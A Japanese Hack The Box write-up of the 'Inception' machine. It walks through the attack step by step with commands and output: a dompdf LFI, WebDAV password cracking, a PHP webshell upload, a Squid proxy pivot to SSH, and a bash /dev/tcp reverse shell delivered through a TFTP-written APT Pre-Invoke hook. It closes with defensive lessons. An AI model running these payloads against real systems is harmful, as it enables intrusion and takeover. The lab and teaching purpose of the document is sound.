Hack The BoxのWriteup(Inception)[Medium]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Inception — 全実行コマンド・実行結果レポート
Nmap スキャン
80/3128のみ
dompdf 0.6.0 LFI
CVE-2014-2383
Apache conf + webdav.passwd
john crack
WebDAV PHP webshell PUT
www-data RCE
cobb SSH (Squid pivot)
user.txt ✓
sudo su (コンテナ内root)
root.txt不在と判明
TFTP経由APT Pre-Invokeフック
ホストcronで発火
root.txt ✓

ポートスキャン

BASH
nmap -Pn -p- --min-rate 3000 -T4 10.129.62.76
RESULT
PORT     STATE SERVICE
80/tcp   open  http          Apache/2.4.18 (Ubuntu)
3128/tcp open  squid-http   Squid (認証不要オープンプロキシ)
ℹ️
外部公開はこの2ポートのみ。Squidが認証不要のオープンプロキシである点が 後の内部ピボットの鍵になる。

Squid CONNECT でループバックの内部ポートを調査

BASH
curl -s -x http://10.129.62.76:3128 -o /dev/null -w '%{http_code}\n' \
  --connect-timeout 5 https://127.0.0.1:22
# CONNECT メソッドが 127.0.0.1 への到達を許可しているか確認
RESULT
200 (トンネル確立成功) → 127.0.0.1:22 (SSH) がループバックのみで待受
🚨
重要発見: SSHは外部に公開されていないが、Squidのオープンプロキシ経由で 127.0.0.1 宛のCONNECTが許可されているため、後で資格情報さえ入手できれば proxychains4 経由でSSHログインできることが判明。

ディレクトリ列挙 → dompdf 発見

BASH
gobuster dir -u http://10.129.62.76 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
curl -s http://10.129.62.76/dompdf/VERSION
RESULT
/dompdf/VERSION → 0.6.0
🚨
dompdf 0.6.0 は CVE-2014-2383 (EDB-33004) に該当する既知の任意ファイル読み取り脆弱性を持つ。
PHASE 2

dompdf LFI (CVE-2014-2383) で WebDAV 資格情報を特定

php://filter で任意ファイルを base64 読み取り

BASH
curl -s -o lfi.pdf \
  "http://10.129.62.76/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/etc/apache2/sites-enabled/000-default.conf"

# dompdf は結果を「生成したPDFファイル」として返すため、
# pdftotext でテキストを抽出してから base64 デコードする
pdftotext lfi.pdf - | tr -d '[:space:]' | base64 -d
⚠️
実機で確認した落とし穴: 000-default.conf のような短いファイルは、 dompdfが生成するPDFのレイアウト都合でbase64文字列の一部が欠落し (「番号 (85) が4の倍数+1になれない」等の不正パディングエラー)、正しくデコードできない ことがある。この場合はより長い/別のファイル(webdav.passwd等)を直接狙う方が確実。

webdav.passwd を直接LFIで読み取り john でクラック

BASH
curl -s -o lfi2.pdf \
  "http://10.129.62.76/dompdf/dompdf.php?input_file=php://filter/read=convert.base64-encode/resource=/var/www/html/webdav_test_inception/webdav.passwd"
pdftotext lfi2.pdf - | tr -d '[:space:]' | base64 -d > webdav.passwd
cat webdav.passwd
john --wordlist=/usr/share/wordlists/rockyou.txt webdav.passwd
john --show webdav.passwd
RESULT
webdav_tester:$apr1$...
webdav_tester:babygurl69
WebDAV credentials
webdav_tester : babygurl69
PHASE 3

WebDAV webshellアップロード & RCE & user.txt

PHP webshell を curl PUT でアップロード

BASH
echo "<?php echo system(\$_REQUEST['cmd']); ?>" > shell.php
curl -s --upload-file shell.php --user webdav_tester:babygurl69 \
  http://10.129.62.76/webdav_test_inception/kcshell.php
BASH (RCE確認)
curl -s -G "http://10.129.62.76/webdav_test_inception/kcshell.php" \
  --data-urlencode "cmd=id" --user webdav_tester:babygurl69
RESULT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
⚠️
重要な落とし穴: webshell配置後のコマンド実行(GET)にも WebDAVディレクトリのBasic認証(--user webdav_tester:babygurl69)が必要。 アップロード(PUT)は認証込みで成功するが、その後の ?cmd= によるコマンド実行 リクエストに認証を付け忘れると常に401 Unauthorizedになり、 「webshell設置は成功したのにRCE確認だけ失敗する」という紛らわしい状態になる。

user.txt は www-data から直接読めない (0400, owner=cobb)

BASH
curl -s -G "http://10.129.62.76/webdav_test_inception/kcshell.php" \
  --data-urlencode "cmd=cat /home/cobb/user.txt 2>&1" --user webdav_tester:babygurl69
RESULT
cat: /home/cobb/user.txt: Permission denied
🚨
ls -la /home/cobb/ で確認すると user.txt-r-------- cobb cobb (mode 400)。www-data権限のwebshellでは読めず、 cobbユーザーとして認証する必要がある。webshell経由で wp-config.phpDB_PASSWORD を読み、cobbのSSHパスワードとして 使い回されていることを次のフェーズで突く。
PHASE 4

Squidピボット経由cobb SSH & コンテナ内rootの限界

wp-config.php の DB_PASSWORD を webshell 経由で取得

BASH
curl -s -G "http://10.129.62.76/webdav_test_inception/kcshell.php" \
  --data-urlencode "cmd=cat /var/www/html/wordpress*/wp-config.php 2>/dev/null | grep DB_PASSWORD" \
  --user webdav_tester:babygurl69
RESULT
define('DB_PASSWORD', 'VwPddNh7xMZyDQoByQL4');

Squidオープンプロキシ経由 (proxychains4) で cobb SSH

BASH
# /etc/proxychains4.conf 相当の設定を用意
cat > proxychains.conf << 'EOF'
strict_chain
proxy_dns
[ProxyList]
http 10.129.62.76 3128
EOF

proxychains4 -q -f proxychains.conf \
  sshpass -p 'VwPddNh7xMZyDQoByQL4' \
  ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
  cobb@127.0.0.1 id
RESULT
uid=1000(cobb) gid=1000(cobb) groups=1000(cobb),27(sudo)
⚠️
落とし穴: 127.0.0.1 は別のマシンでのSSHピボット作業により known_hosts に別の鍵で既に登録されていることがあり、 StrictHostKeyChecking=no だけでは 「REMOTE HOST IDENTIFICATION HAS CHANGED」警告でパスワード認証自体が 無効化され Permission denied になる。-o UserKnownHostsFile=/dev/null を併用して既存エントリを完全に無視する必要がある。
BASH (user.txt 取得)
proxychains4 -q -f proxychains.conf sshpass -p 'VwPddNh7xMZyDQoByQL4' \
  ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null \
  cobb@127.0.0.1 "cat /home/cobb/user.txt"
RESULT
24a97155903b570e4e5194b1d4cba895
user.txt — cobb (Squid open-proxy pivot)
24a97155903b570e4e5194b1d4cba895

cobb は sudo フル権限だが、これは「コンテナ内」のroot

BASH
proxychains4 ... cobb@127.0.0.1 "echo 'VwPddNh7xMZyDQoByQL4' | sudo -S cat /root/root.txt"
proxychains4 ... cobb@127.0.0.1 "hostname -I"
RESULT
cat: /root/root.txt: No such file or directory
192.168.0.10  ← コンテナ自身のIP (172/192.168系の内部レンジ)
🚨
重要発見: cobbはsudoでroot昇格できるが、そのrootはDockerコンテナ内のroot に過ぎず、root.txtが存在しない。コンテナのIPアドレス(192.168.0.10)がホストのゲートウェイ (192.168.0.1)と異なるサブネットを示唆しており、ホスト実機への追加のピボットが必要 と判明する。
PHASE 5

TFTP + APT Pre-Invokeフックでホストへピボット → root.txt

ゲートウェイ (ホスト実機) の TFTP を発見

NOTE
コンテナ内(cobb権限)からゲートウェイ 192.168.0.1 に対しポートスキャンすると
FTP(21)/SSH(22)/DNS(53)/TFTP(69)を検出。FTP匿名ログインで
/etc/default/tftpd-hpa を確認すると --secure --create オプション付きで
TFTP_DIRECTORY=/ (ルート全体が書き込み可能な設定) で稼働していることが判明。

TFTP で APT Pre-Invoke フックとリバースシェルを書き込む

NOTE
Pythonの標準ライブラリにTFTPクライアントは無いため、RFC1350準拠の最小実装
(WRQ→ACK→DATA→ACKのブロック転送ループ)をコンテナ上で自作・実行する。

書き込む2ファイル:
  /tmp/writeup.sh:
    #!/bin/bash
    bash -i >& /dev/tcp/<コンテナIP>/<listen port> 0>&1

  /etc/apt/apt.conf.d/00writeup:
    APT::Update::Pre-Invoke {"/bin/bash /tmp/writeup.sh"};

ホストのcronが数分おきに実行する `apt update` が、この Pre-Invoke フック経由で
writeup.sh を root権限で発火させる。これをコンテナ側で
TCPリスナーを立てて待ち受け、接続してきたシェルに `cat /root/root.txt` を
送り込んで結果を回収する。
⚠️
実機で確認した落とし穴: このコンテナには python2 が存在せず python3 のみ (which python は command not found)。TFTPパケットの 送受信はbytes型が必須のため、Python2前提で書いたスクリプト(文字列と struct.pack()の結果を直接連結する等)はPython3では TypeError: can't concat str to bytes系のエラーで即座に失敗する。 bytesリテラル(b'...')と.encode()/.decode()を 明示的に使い分けて書き直す必要がある。
ℹ️
またホストのcron間隔は最大5分程度であり、TFTP書き込み自体は一瞬でエラーなく成功するが、 リバースシェル接続を待つリスナーのタイムアウトを短く設定していると (例: 360秒)、cronの発火タイミングと噛み合わず「TIMEOUT_NO_CONNECTION」に なることがある。安定して1回以上のcron周期をカバーできるよう、 600秒以上の待機時間を確保するのが安全。

root.txt 取得

RESULT (コンテナ側リスナーが受信)
a01f14a892eaab3d9b398b1fd5d203ea
root.txt — ホスト実機 (TFTP + APT Pre-Invoke フック経由)
a01f14a892eaab3d9b398b1fd5d203ea
root化成功。 コンテナ内rootでは到達できない、Dockerホスト実機側の root.txtを、TFTPによるファイル書き込みとホストcronの定期実行を組み合わせた 間接的なコマンド実行(2段目のコンテナ→ホストピボット)で取得した。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — cobb
24a97155903b570e4e5194b1d4cba895
root.txt — ホスト実機root
a01f14a892eaab3d9b398b1fd5d203ea

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2014-2383 (EDB-33004) dompdf 0.6.0 任意ファイル読み取り (LFI) Critical php://filter/read=convert.base64-encodeでApache設定・パスワードファイルを閲覧
WebDAV弱いパスワード + 認証済みファイルアップロード /webdav_test_inception/ RCE (www-data) High john+rockyouでhtpasswdクラック後、PHP webshellをPUTでアップロード
パスワード使い回し (DB→SSH) wp-config.php DB_PASSWORD / cobb SSHパスワード 外部非公開SSHへの不正ログイン High Squidオープンプロキシ経由のCONNECTで127.0.0.1:22へアクセスしSSHログイン
認証不要オープンプロキシ Squid (3128) 本来到達不能な内部ループバックサービスへのアクセス経路提供 Medium proxychains4 + CONNECTメソッドで127.0.0.1宛のSSH通信をトンネリング
TFTP書込可能領域 + APT Pre-Invokeフック濫用 ホストのtftpd-hpa (--secure --create, TFTP_DIRECTORY=/) + cron定期apt update コンテナ→ホスト実機への権限昇格 (root) Critical TFTPでAPT設定フックとリバースシェルスクリプトを書き込み、ホストcronのapt update実行時にroot権限で発火させる

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + Squid CONNECT内部ポート調査80/3128のみオープン、127.0.0.1:22待受を確認
2LFIdompdf 0.6.0 (CVE-2014-2383)webdav.passwdハッシュ → john crackでbabygurl69
3RCEWebDAV webshellアップロードuser.txt (cobb SSH経由で取得)
4横移動wp-config.php DB_PASSWORD再利用 + Squidピボットcobb SSHアクセス、コンテナ内rootの限界を確認
5権限昇格TFTP + APT Pre-Invokeフック + ホストcronroot.txt (ホスト実機)

学んだ教訓 & 防御策

問題点防御策
Squidが認証不要のオープンプロキシとして稼働し、外部非公開のループバックサービスへの到達路になっている プロキシには必ず認証を要求し、CONNECTメソッドで到達可能な宛先をアクセス制御リストで厳格に制限する。
既知の重大脆弱性(CVE-2014-2383)を含む古いdompdfが放置されている サードパーティライブラリを定期的に更新し、脆弱性データベースを継続的に監視する。
WebDAVディレクトリへの書き込み権限が実質的に任意コードの配置・実行を許している WebDAVで公開するディレクトリはWebサーバーによるスクリプト実行(PHP等)を無効化する。
データベースパスワードがOSユーザーのSSHパスワードとして使い回されている サービスアカウントとOSログインアカウントのクレデンシャルを完全に分離する。
Dockerコンテナ内から見えるホストのTFTPサービスがルート全体への書き込みを許可(TFTP_DIRECTORY=/) TFTPの書き込み先ディレクトリを最小限に限定し、コンテナからホストの重要なサービス(TFTP/FTP等)へのネットワーク到達性自体を遮断する(コンテナネットワークの分離強化)。
root権限で自動実行されるcronジョブ(apt update)の設定ファイルが外部から書き込み可能な経路(TFTP)を通じて改変されうる root権限ジョブが参照する設定ファイル群のパーミッションを厳格化し、書き込み可能な外部サービスとの権限分離を徹底する。
HackTheBox: Inception | 完全攻略レポート